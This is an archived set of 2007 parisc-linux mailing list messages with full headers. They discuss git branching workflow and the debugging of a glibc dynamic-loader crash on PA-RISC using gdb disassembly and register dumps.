> > you can send the patches to the list for review. This will work more or less
> > like linux-kernel does, hopefully. 
> 
> Ok. Fair enough. Well said. Can someone with more git experience than I
> have share a recipe for creating and committing to a git branch?
> Maybe post that on one of the existing HOW-TO web pages or a new wiki page?
> 

I will post it to the wiki page, but the basic gist is you checkout a new
branch...

git checkout -b NEW_BRANCH_NAME

to branch off of the current working branch...

Or

git checkout -b NEW_BRANCH SOME_TAG_OR_OTHER_HEAD_OR_SHA1

to build a new branch at some previous or future point.

You can see what you're doing when you gitk afterwards.

Use git-branch to find out what branch you are on.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] call_init in libc6 2.3.6.ds1-11
Date: Sat, 17 Feb 2007 14:56:59 -0500 (EST)
Lines: 100
Approved: news@gmane.org
Message-ID: <200702171956.l1HJuxit023605__49793.8514141881$1416624292$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624292 22779 80.91.229.3 (22 Nov 2014 02:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 19:57:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 17 Feb 2007 20:57:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 202A17DA33;
	Sat, 17 Feb 2007 12:57:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20359-05; Sat, 17 Feb 2007 12:57:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F07147DA40;
	Sat, 17 Feb 2007 12:57:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEE4F7DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 12:57:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20359-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 12:57:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1B0D77D9E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 12:57:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1HJv0Ag023607
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:57:00 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1HJuxit023605
	for parisc-linux@lists.parisc-linux.org;
	Sat, 17 Feb 2007 14:56:59 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JWjidBMDbUkosOnGPWgnVWlkZ2hlN8rs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24335

I had a segv in /bin/sh today:

Core was generated by `/bin/sh -c echo ../../../gcc/libjava/classpath/lib/java/awt/im/spi/*.class > ja'.
Program terminated with signal 11, Segmentation fault.
#0  0x4073b16c in init () from /lib/libc.so.6
(gdb) bt
#0  0x4073b16c in init () from /lib/libc.so.6
#1  0x400d77e8 in call_init () from /lib/ld.so.1
#2  0x400d77e8 in call_init () from /lib/ld.so.1
Previous frame identical to this frame (corrupt stack?)
(gdb) disass 0x4073b15c 0x4073b17c
Dump of assembler code from 0x4073b15c to 0x4073b17c:
0x4073b15c <_dl_start+12>:      stw r19,-20(sp)
0x4073b160 <_dl_start+16>:      nop
0x4073b164 <init+0>:    stw rp,-14(sp)
0x4073b168 <init+4>:    addil L%1000,r19,r1
0x4073b16c <init+8>:    ldw 450(r1),ret0
0x4073b170 <init+12>:   stw,ma r6,40(sp)
0x4073b174 <init+16>:   copy r24,r6
0x4073b178 <init+20>:   stw r5,-3c(sp)
End of assembler dump.
(gdb) p/x $r1
$1 = 0x40df352f
(gdb) p/x $r19
$2 = 0x40df252f

So, the problem is that r19 is corrupt when init is called.  Looking
at call_init, I see:

0x400d77ac <call_init+176>:     bb,<,n r20,1e,0x400d7884 <call_init+392>
0x400d77b0 <call_init+180>:     cmpib,=,n 0,r21,0x400d77ec <call_init+240>
0x400d77b4 <call_init+184>:     ldw 4(r21),r20
0x400d77b8 <call_init+188>:     ldw 0(r3),ret0
0x400d77bc <call_init+192>:     add,l ret0,r20,r22
0x400d77c0 <call_init+196>:     bb,>=,n r22,1e,0x400d7854 <call_init+344>
0x400d77c4 <call_init+200>:     copy r19,r4
0x400d77c8 <call_init+204>:     fstw fr14,-10(sp)
0x400d77cc <call_init+208>:     ldw -10(sp),r26
0x400d77d0 <call_init+212>:     fstw fr13,-10(sp)
0x400d77d4 <call_init+216>:     ldw -10(sp),r25
0x400d77d8 <call_init+220>:     fstw fr12,-10(sp)
0x400d77dc <call_init+224>:     ldw -10(sp),r24
0x400d77e0 <call_init+228>:     b,l 0x400dedd4 <$$dyncall>,r31
0x400d77e4 <call_init+232>:     copy r31,rp
0x400d77e8 <call_init+236>:     copy r4,r19

The address for the call to init is constructed by the loads at
0x400d77b4 and 0x400d77b8, followed by the add at 0x400d77bc:

gdb) p/x $r3
$8 = 0x400010b0
(gdb) x/x 0x400010b0
0x400010b0:     0x4071c000
(gdb) p/x $r21
$9 = 0x408621dc
(gdb) x/4x 0x408621dc
0x408621dc <.LC2+20>:   0x0000000c      0x0001f164      0x0000001a      0x001441e0
(gdb) p/x 0x4071c000 + 0x0001f164
$12 = 0x4073b164

So, init is being called directly.  This highly suspect for a call
in a shared library ($$dyncall won't setup r19).

I still don't completely understand what's happening here as r4 and
r19 don't appear to be consistent.  Here's the register dump:

Feb 17 11:58:01 localhost kernel: do_page_fault() pid=26501 command='sh' type=15 address=0x40df397f
Feb 17 11:58:01 localhost kernel: vm_start = 0x40868000, vm_end = 0x4086a000
Feb 17 11:58:01 localhost kernel:
Feb 17 11:58:01 localhost kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 17 11:58:01 localhost kernel: PSW: 00000000000001100000000100001111 Not tainted
Feb 17 11:58:01 localhost kernel: r00-03  000000000006010f 0000000040df352f 00000000400d77eb 00000000400010b0
Feb 17 11:58:01 localhost kernel: r04-07  00000000400f49b8 0000000000000002 0000000000000005 00000000400f5888
Feb 17 11:58:01 localhost kernel: r08-11  00000000400f5874 0000000000032000 0000000000033000 0000000000046ee8
Feb 17 11:58:01 localhost kernel: r12-15  0000000000000001 0000000000032000 0000000000046ee8 0000000000046ee8
Feb 17 11:58:01 localhost kernel: r16-19  0000000000000001 0000000000000000 0000000000046ee8 0000000040df252f
Feb 17 11:58:01 localhost kernel: r20-23  000000004086221c 00000000408621dc 000000004073b164 00000000c030e8bc
Feb 17 11:58:01 localhost kernel: r24-27  00000000c030e8bc 00000000c030e8ac 0000000000000003 00000000000d6d34
Feb 17 11:58:01 localhost kernel: r28-31  0000000040df252f 00000000000000d0 00000000c030ec80 00000000400d77eb
Feb 17 11:58:01 localhost kernel: sr00-03  0000000000e8c800 0000000000e8c800 0000000000000000 0000000000e8c800
Feb 17 11:58:01 localhost kernel: sr04-07  0000000000e8c800 0000000000e8c800 0000000000e8c800 0000000000e8c800

This would appear to have something to do with this define:

/* The test for "addr & 2" below is to accomodate old binaries which
   violated the ELF ABI by pointing DT_INIT and DT_FINI at a function
   descriptor.  */
#define DL_DT_INIT_ADDRESS(map, addr) \
  ((Elf32_Addr)(addr) & 2 ? (addr) : DL_AUTO_FUNCTION_ADDRESS (map, addr))

Dave
- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 16:59:00 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20070217215900.GG2880__852.729756343429$1416624292$gmane$org@athena.road.mcmartin.ca>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624292 22780 80.91.229.3 (22 Nov 2014 02:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 21:59:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 17 Feb 2007 22:59:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ABC87DAD1;
	Sat, 17 Feb 2007 14:59:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22297-10; Sat, 17 Feb 2007 14:59:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED14A7DAC2;
	Sat, 17 Feb 2007 14:59:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF2027DAB4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:59:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22474-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:59:18 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1634B7DA92
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 14:59:18 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9BBC85840B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 16:59:17 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EB7F95840B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 16:59:16 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 93848837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 16:59:16 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 4E0A93B06F; Sat, 17 Feb 2007 16:59:00 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070217064648.GA2880@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8k3ldMUvIyd1r/qQe2drsTdaa2FkZtW4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24336

On Sat, Feb 17, 2007 at 01:46:48AM -0500, kyle mcmartin wrote:
> 1: Frankly I find this shared git tree thing to be a huge waste of my time,
>    we're no better off than we were with CVS...
> 

There was a question on why, so here goes,

Currently, the shared git tree is permanently divergent from the Linus tree.
Because Linus never merges from this tree, it is impossible to ever see what
changesets remain outstanding, since the changesets which are merged come
>from the second tree.

(kyle)                       --o--o--o--o--o----o
                            /                    \
(linus) --o--o--o--o--o--o-----o--o--o--o--o--o---X--o--o--
                             \
(parisc) --o--o--o--o--o--o---X---o--o--o--o--o--o

Where 'X' is a pull from the other tree into the X'd tree.

Anyway, the idea is to reduce this to one tree so there will be back and
forth pulling from the same tree, making it really easy to see which
long-term patches are still outstanding from the noise of the fast-moving
patches.

Or something.
	-- Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 17:01:48 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20070217220148.GA16546__17344.7610847235$1416624292$gmane$org@athena.road.mcmartin.ca>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
	<20070217215900.GG2880@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624292 22787 80.91.229.3 (22 Nov 2014 02:44:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 22:02:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 17 Feb 2007 23:02:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1289A7DADA;
	Sat, 17 Feb 2007 15:02:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22762-01; Sat, 17 Feb 2007 15:02:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C09F7DAC7;
	Sat, 17 Feb 2007 15:02:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B6597DAC3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:02:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22599-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:02:06 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E3E4D7DA92
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 15:02:05 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 87C7B5840B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 17:02:05 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1C8E05840B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 17:02:05 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B8F09837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 17:02:04 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id B0B273B06F; Sat, 17 Feb 2007 17:01:48 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070217215900.GG2880@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UEzkca11f2I/p4icY2xofX1wdWxlc5Z1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24337

On Sat, Feb 17, 2007 at 04:59:00PM -0500, Kyle McMartin wrote:
> Anyway, the idea is to reduce this to one tree so there will be back and
> forth pulling from the same tree, making it really easy to see which
> long-term patches are still outstanding from the noise of the fast-moving
> patches.
> 

Easy to see since they'll be on a branch, I mean.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sat, 17 Feb 2007 15:32:16 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200702172032.l1HKWHpp024086__37324.9728502289$1416624293$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624293 22791 80.91.229.3 (22 Nov 2014 02:44:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 20:32:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 17 Feb 2007 21:32:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D344B7DA40;
	Sat, 17 Feb 2007 13:32:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20694-04; Sat, 17 Feb 2007 13:32:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA3E17DA47;
	Sat, 17 Feb 2007 13:32:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C2C17DA3A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:32:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20483-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:32:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 484577DA33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 13:32:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1HKWHFt024088;
	Sat, 17 Feb 2007 15:32:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1HKWHpp024086;
	Sat, 17 Feb 2007 15:32:17 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Feb 17, 2007 02:56:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: al7icS4hRkke1KuPfGRqe1JmdWkvKNOb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24338

> /* The test for "addr & 2" below is to accomodate old binaries which
>    violated the ELF ABI by pointing DT_INIT and DT_FINI at a function
>    descriptor.  */
> #define DL_DT_INIT_ADDRESS(map, addr) \
>   ((Elf32_Addr)(addr) & 2 ? (addr) : DL_AUTO_FUNCTION_ADDRESS (map, addr))

This is the ia64 define:

#define DL_DT_INIT_ADDRESS(map, addr) DL_AUTO_FUNCTION_ADDRESS (map, addr)

Calls to init on ia64 always use a function descriptor.

While it's possible that DT_INIT and DT_FINI shouldn't point at function
descriptors, the above hack can't be right since DL_DT_INIT_ADDRESS is used
for calling init() from dl-init.c:

      init_t init = (init_t) DL_DT_INIT_ADDRESS
	(l, l->l_addr + l->l_info[DT_INIT]->d_un.d_ptr);

      /* Call the function.  */
      init (argc, argv, env);

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Sat, 17 Feb 2007 15:43:07 -0500 (EST)
Lines: 31
Approved: news@gmane.org
